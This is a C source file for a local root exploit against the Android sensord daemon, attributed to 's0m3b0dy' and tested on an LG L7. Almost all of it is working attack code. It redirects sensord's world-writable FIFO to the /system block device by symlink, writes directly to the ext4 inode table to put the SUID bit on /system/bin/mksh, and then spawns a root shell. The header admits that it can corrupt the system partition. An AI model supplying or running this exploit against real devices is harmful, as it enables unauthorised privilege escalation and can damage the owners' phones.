/*
* Android sensord 0day root exploit by s0m3b0dy
* tested on LG L7 (PL)
*
*
* need pentests? s0m3b0dy1(at)gmail.com
*
* * * * * * * * * * * * * * * * * * * * * * * *
*
* some Android devices have sensord deamon,
* for some ROMs the deamon is running as root process(there we can use this exploit)
*
* and
*---------
* root@android:/ # strace sensord
* ...
* open("/data/misc/sensor/fifo_cmd", O_RDWR|O_LARGEFILE) = 12
* ...
* open("/data/misc/sensor/fifo_dat", O_RDWR|O_LARGEFILE) = 13
* fchmod(12, 0666) = 0
* fchmod(13, 0666) = 0
* ---------
* there is no check that the files are not links, so we can link it to eg. block device and make it rw!
* exploit will set bit suid on /system/bin/mksh, need to reboot the device after step 1 and step 2
*
* this exploit is dangerous, before step 1 exploit is disabling auto-rotate to not overwrite /system pertition!
*
* the author is not responsible for any damage
* for education purpose only :)
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <dirent.h>
#include <ctype.h>
#define FIFO_DAT "/data/misc/sensor/fifo_dat"
#define SH "/system/bin/mksh"
struct ext4_super_block {
/*00*/ __le32 s_inodes_count;
__le32 s_blocks_count_lo;
__le32 s_r_blocks_count_lo;
__le32 s_free_blocks_count_lo;
/*10*/ __le32 s_free_inodes_count;
__le32 s_first_data_block;
__le32 s_log_block_size;
__le32 s_log_cluster_size;
/*20*/ __le32 s_blocks_per_group;
__le32 s_clusters_per_group;
__le32 s_inodes_per_group;
__le32 s_mtime;
/*30*/ __le32 s_wtime;
__le16 s_mnt_count;
__le16 s_max_mnt_count;
__le16 s_magic;
__le16 s_state;
__le16 s_errors;
__le16 s_minor_rev_level;
/*40*/ __le32 s_lastcheck;
__le32 s_checkinterval;
__le32 s_creator_os;
__le32 s_rev_level;
/*50*/ __le16 s_def_resuid;
__le16 s_def_resgid;
__le32 s_first_ino;
__le16 s_inode_size;
__le16 s_block_group_nr;
__le32 s_feature_compat;
/*60*/ __le32 s_feature_incompat;
__le32 s_feature_ro_compat;
/*68*/ __u8 s_uuid[16];
/*78*/ char s_volume_name[16];
/*88*/ char s_last_mounted[64];
/*C8*/ __le32 s_algorithm_usage_bitmap;
__u8 s_prealloc_blocks;
__u8 s_prealloc_dir_blocks;
__le16 s_reserved_gdt_blocks;
/*D0*/ __u8 s_journal_uuid[16];
/*E0*/ __le32 s_journal_inum;
__le32 s_journal_dev;
__le32 s_last_orphan;
__le32 s_hash_seed[4];
__u8 s_def_hash_version;
__u8 s_jnl_backup_type;
__le16 s_desc_size;
/*100*/ __le32 s_default_mount_opts;
__le32 s_first_meta_bg;
__le32 s_mkfs_time;
__le32 s_jnl_blocks[17];
/*150*/ __le32 s_blocks_count_hi;
__le32 s_r_blocks_count_hi;
__le32 s_free_blocks_count_hi;
__le16 s_min_extra_isize;
__le16 s_want_extra_isize;
__le32 s_flags;
__le16 s_raid_stride;
__le16 s_mmp_update_interval;
__le64 s_mmp_block;
__le32 s_raid_stripe_width;
__u8 s_log_groups_per_flex;
__u8 s_checksum_type;
__u8 s_encryption_level;
__u8 s_reserved_pad;
__le64 s_kbytes_written;
__le32 s_snapshot_inum;
__le32 s_snapshot_id;
__le64 s_snapshot_r_blocks_count;
__le32 s_snapshot_list;
#define EXT4_S_ERR_START offsetof(struct ext4_super_block, s_error_count)
__le32 s_error_count;
__le32 s_first_error_time;
__le32 s_first_error_ino;
__le64 s_first_error_block;
__u8 s_first_error_func[32];
__le32 s_first_error_line;
__le32 s_last_error_time;
__le32 s_last_error_ino;
__le32 s_last_error_line;
__le64 s_last_error_block;
__u8 s_last_error_func[32];
#define EXT4_S_ERR_END offsetof(struct ext4_super_block, s_mount_opts)
__u8 s_mount_opts[64];
__le32 s_usr_quota_inum;
__le32 s_grp_quota_inum;
__le32 s_overhead_clusters;
__le32 s_backup_bgs[2];
__u8 s_encrypt_algos[4];
__u8 s_encrypt_pw_salt[16];
__le32 s_lpf_ino;
__le32 s_prj_quota_inum;
__le32 s_checksum_seed;
__le32 s_reserved[98];
__le32 s_checksum;
};
struct ext4_group_desc
{
__le32 bg_block_bitmap_lo;
__le32 bg_inode_bitmap_lo;
__le32 bg_inode_table_lo;
__le16 bg_free_blocks_count_lo;
__le16 bg_free_inodes_count_lo;
__le16 bg_used_dirs_count_lo;
__le16 bg_flags;
__le32 bg_exclude_bitmap_lo;
__le16 bg_block_bitmap_csum_lo;
__le16 bg_inode_bitmap_csum_lo;
__le16 bg_itable_unused_lo;
__le16 bg_checksum;
__le32 bg_block_bitmap_hi;
__le32 bg_inode_bitmap_hi;
__le32 bg_inode_table_hi;
__le16 bg_free_blocks_count_hi;
__le16 bg_free_inodes_count_hi;
__le16 bg_used_dirs_count_hi;
__le16 bg_itable_unused_hi;
__le32 bg_exclude_bitmap_hi;
__le16 bg_block_bitmap_csum_hi;
__le16 bg_inode_bitmap_csum_hi;
__u32 bg_reserved;
};
struct ext4_inode {
__le16 i_mode;
__le16 i_uid;
__le32 i_size_lo;
__le32 i_atime;
__le32 i_ctime;
__le32 i_mtime;
__le32 i_dtime;
__le16 i_gid;
__le16 i_links_count;
__le32 i_blocks_lo;
__le32 i_flags;
union {
struct {
__le32 l_i_version;
} linux1;
struct {
__u32 h_i_translator;
} hurd1;
struct {
__u32 m_i_reserved1;
} masix1;
} osd1;
__le32 i_block[15];
__le32 i_generation;
__le32 i_file_acl_lo;
__le32 i_size_high;
__le32 i_obso_faddr;
union {
struct {
__le16 l_i_blocks_high;
__le16 l_i_file_acl_high;
__le16 l_i_uid_high;
__le16 l_i_gid_high;
__le16 l_i_checksum_lo;
__le16 l_i_reserved;
} linux2;
struct {
__le16 h_i_reserved1;
__u16 h_i_mode_high;
__u16 h_i_uid_high;
__u16 h_i_gid_high;
__u32 h_i_author;
} hurd2;
struct {
__le16 h_i_reserved1;
__le16 m_i_file_acl_high;
__u32 m_i_reserved2[2];
} masix2;
} osd2;
__le16 i_extra_isize;
__le16 i_checksum_hi;
__le32 i_ctime_extra;
__le32 i_mtime_extra;
__le32 i_atime_extra;
__le32 i_crtime;
__le32 i_crtime_extra;
__le32 i_version_hi;
};
void print_usage( char ** argv)
{
printf("Have 3 steps. You need to reboot the device after step 1 and step 2.\n");
printf("Usage: %s 1\n", argv[0]);
printf(" %s 2\n", argv[0]);
printf(" %s 3\n", argv[0]);
printf(" %s verify\n", argv[0]);
}
void get_system_dev( char *ptr, int size )
{
int fd = open("/proc/mounts", O_RDONLY);
int pos = 0, posend = 0, tmppos = 0;
char buff[4096];
char link[1024];
memset(buff, 0, sizeof(buff));
memset(link, 0, sizeof(link));
memset(ptr, 0, size);
if(fd != -1)
{
read(fd, &buff, sizeof(buff));
int sres = (int)strstr(buff, " /system ");
if( (sres != -1) && ((pos = (sres - (int)buff)) > 0) )
{
tmppos = pos;
int i=0;
while( (buff[pos] != '\n') && (pos > 0) ) pos--;
pos++;
strncpy(link, &buff[pos], tmppos - pos);
readlink(link, ptr, size);
}
else
{
printf("[-] Can't find system partition!\n");
close(fd);
exit(0);
}
close(fd);
}
else
{
printf("[-] Can't read /proc/mounts file!\n");
exit(0);
}
}
void first_step()
{
if( access(FIFO_DAT, F_OK) != -1 )
{
unlink(FIFO_DAT);
}
char path[1024];
get_system_dev(path, sizeof(path));
symlink(path, FIFO_DAT);
printf("[+] Symlink is created, please reboot device and run second step.\n[+] The device may slow down, after second step will work normally.\n");
}
void second_step()
{
char path[1024];
struct stat s;
unlink(FIFO_DAT);
stat(SH, &s);
printf("[+] Looking for inode no.: %llu\n", s.st_ino);
get_system_dev(path, sizeof(path));
int fd = open(path, O_RDWR);
if( fd != -1 )
{
int inodeno = s.st_ino;
struct ext4_super_block super;
struct ext4_group_desc group_descr;
struct ext4_inode inode;
unsigned long int offset=0;
lseek(fd, 0x400, SEEK_SET);
read(fd, &super, sizeof(super));
int block_size = 1024 << super.s_log_block_size;
int bg = (inodeno-1) /super.s_inodes_per_group;
lseek(fd, block_size + bg * (super.s_desc_size ? super.s_desc_size : sizeof(struct ext4_group_desc) ), SEEK_SET);
read(fd, &group_descr, sizeof(group_descr));
unsigned int index = (inodeno-1) % super.s_inodes_per_group;
unsigned int off = index * super.s_inode_size;
unsigned long total_offset = block_size + (group_descr.bg_inode_table_lo-1) * block_size + off;
lseek(fd, total_offset, SEEK_SET);
read(fd, &inode, sizeof(struct ext4_inode));
if(inode.i_size_lo == s.st_size) {
__le16 mode = 0;
printf("[+] Found inode!\n");
lseek(fd, total_offset, SEEK_SET);
inode.i_mode = inode.i_mode | 0x800;
int modesize = sizeof(inode.i_mode);
int wr = write(fd, &inode.i_mode, modesize);
if( wr == modesize )
{
printf("[+] Success, bit SUID is setted on %s\n[+] You must reboot the device to run third step\n", SH);
}
else
{
printf("[-] Can't set bit SUID on %s\n", SH);
}
}
else
{
printf("[-] Can't find inode!\n");
}
close(fd);
}
else
printf("[-] Can't open %s!\n", path);
}
void third_step()
{
char path[1024];
//chmod(SH, 4755);
setuid(0);
setgid(0);
if(getuid() == 0)
{
get_system_dev(path, sizeof(path));
chmod(path, 0600);
printf("[+] Rooted!\n");
system(SH);
}
else
{
printf("[-] No root here!\n");
exit(0);
}
}
bool isSensord(char *spath)
{
char buff[50];
bool res = false;
int fd = open(spath, O_RDONLY);
if(fd != -1)
{
read(fd, buff, 50);
if(strstr(buff, "/system/bin/sensord") != NULL)
{
res = true;
}
close(fd);
}
return res;
}
bool verify()
{
DIR* dir;
struct dirent *entry;
char spath[512];
bool res = false;
struct stat s;
dir = opendir("/proc");
if(dir) {
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_DIR) {
snprintf(spath, 512, "/proc/%s/cmdline", entry->d_name);
if (isSensord(spath)) {
stat(spath, &s);
if (s.st_uid == 0)
res = true;
break;
}
}
}
closedir(dir);
}
return res;
}
void disable_autorotate()
{
printf("[+] Disabling auto-rotate...\n");
system("content insert --uri content://settings/system --bind name:s:accelerometer_rotation --bind value:i:0");
}
int main(int argc, char **argv)
{
if(argc != 2)
{
print_usage( argv );
return 0;
}
if( strstr( argv[1], "1" ) != NULL) {
if( verify() ) {
disable_autorotate();
first_step(); //create link
}
else
{
printf("[-] It looks likey is not vulnerable!\n");
}
}
else if( strstr( argv[1], "2") != NULL) {
second_step(); //edit ext4(/system) partition(set bit suid)
}
else if( strstr( argv[1], "3") != NULL) {
third_step(); //get root shell
}
else if( strstr( argv[1], "verify") != NULL){
if( verify() )
printf("[+] Should be vulnerable!\n");
else
printf("[-] Not vulnerable!\n");
}
else{
print_usage( argv );
}
return 0;
}